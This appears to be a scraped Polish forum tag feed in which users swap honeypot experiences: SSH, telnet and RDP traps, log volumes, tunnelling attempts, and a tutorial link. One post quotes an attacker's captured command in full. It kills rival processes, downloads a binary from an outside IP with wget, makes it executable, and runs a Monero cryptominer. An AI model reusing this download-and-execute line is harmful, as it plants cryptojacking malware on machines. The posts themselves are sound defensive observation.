#honeypot

Kolejny wieczór i kolejny stream na SekurakTV. Dziś o wykrywaniu ataków poprzez #rdp

https://sekurak.pl/zbuduj-swoj-honeypot-i-lap-w-czasie-rzeczywistym-ataki-przez-rdp-w-powershellu-sekurak-tv/

#rdp #windows #security #hacking #honeypot

smieszek-niesmieszek

smieszek-niesmieszek 6 l.

lorvf zurjrz pldud wzrmhjr vxnfhvx <3 rggdmflh fhvducrzm fr fhvduvnlh ! Enjoy Honey Pots <3 #honeypot #szyfr #kod
#hackingnews

dktr

dktr 6 l.

Ale kulturalny hakjer, jak już wszystkie metody pobrania i uruchomienia jakiegoś crapu zawiodły to posprzątał po sobie i poszedł ( ͡° ͜ʖ ͡°)
#honeypot #linux

Najlepsze
Wszystkie komentarze

dktr

dktr Autor 6 l.

@zakowskijan72: Akurat ten nie był skryptem, miałem zapuszczony tail na logu i widziałem jak się z tym pobieraniem męczył, honeypot w domyślnym konfigu wystawia "niby" internet z prędkością kilku kbps ;)

dktr

dktr Autor 6 l.

@CyberDeath: Wystawiłem 3 dni temu na czterech publicznych adresach IP honeypota ssh z hasłem w stylu root:12345 i dopiero przeglądam co się tam dzieje, sam log ma już 105Mb.
Aktualnie zdecydowana większość akcji to próba tunelowania ruchu po ssh - przeważnie do serwerów google, microsoft, facebook. Jak chcesz to mogę tego loga gdzieś wystawić.

L.....e

konto usunięte 7 l.

Jednak postawienie swojego honeypota i otwarcie go na telnet to był dobry pomysł. Będę siedział i sprawdzał co wleciało przez najbliższe godziny ( ͡° ͜ʖ ͡°) #security #itsecurity #honeypot #it

Najlepsze
Wszystkie komentarze

FLAC

FLAC 7 l.

honeypot

@LongWayHome: co to w tym kontekście?

PiersiowkaPelnaZiol

PiersiowkaPelnaZiol 7 l.

@LongWayHome: najlepiej uczyć się od atakujacych :D

98f1c6tdg24

adult

8 l.

Treść przeznaczona dla osób powyżej 18 roku życia...

Najlepsze
Wszystkie komentarze

Niekumaty_

Niekumaty_ 8 l.

@98f1c6tdg24 skontaktuj się ze swoim dostawcą internetu i poproś, aby zmieniono Ci IP.

98f1c6tdg24

98f1c6tdg24 Autor 8 l.

@Niekumaty_: Miałem taki pomysł, niestety z moim dostawcą zawsze są jakieś problemy. No nic spróbuję zadzwonić w tygodniu może się uda. Dzięki bardzo za odpowiedź.

dzaku

dzaku 8 l.

#sysop #honeypot #linux #seciurity #centos #sshd #ssh

https://www.youtube.com/watch?v=ZemMHI_HcmM

W związku z zainteresowanie popełniłem video tutorail jak postawic honeypot w kwadrans .
Wybaczcie chaotyczne przedstawienie nadmiar wyrazów dźwiękonaśladowczych, sapanie oraz błędy nazewnictwa to mój pierwszy taki wyczyn. Jak kogoś drażni audio polecam funkcje mute im dalej tym nie lepiej :)

Najlepsze
Wszystkie komentarze

dzaku

dzaku Autor 8 l.

@sylwke3100:
Z ciekawostek dość zagadkowa kobinacja .

dotychczas nic więcej ciekawego :) pojedyncze dusze same boty ;)

dzaku

dzaku 8 l.

#linux #honeypot
Przedwczoraj do na honeypot ssh wpadł pierwszy #miner

#cd /tmp; ps -ef | grep sfs | grep -v grep | awk '{print $2}' | xargs kill -9;ps -ef | grep sfs | grep -v grep | awk '{print $2}' | xargs kill -9; ulimit -n 150000; wget -O sfs [http://185.174.172.18/sfs;chmod](http://185.174.172.18/sfs;chmod) 777 sfs;./sfs -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u richard.melony@openmailbox.org -p x >/
dev/null

Najlepsze
Wszystkie komentarze

dzaku

dzaku 8 l.

#linux #ssh #honeypot

Wystawiłem małego honeypota na publicznym ip nie zindeksowanym jeszcze w shodan .

Oto efekt po okolo 24 h , 1231 prób logowania po ssh
10 najpopularniejszych loginów z hasłem :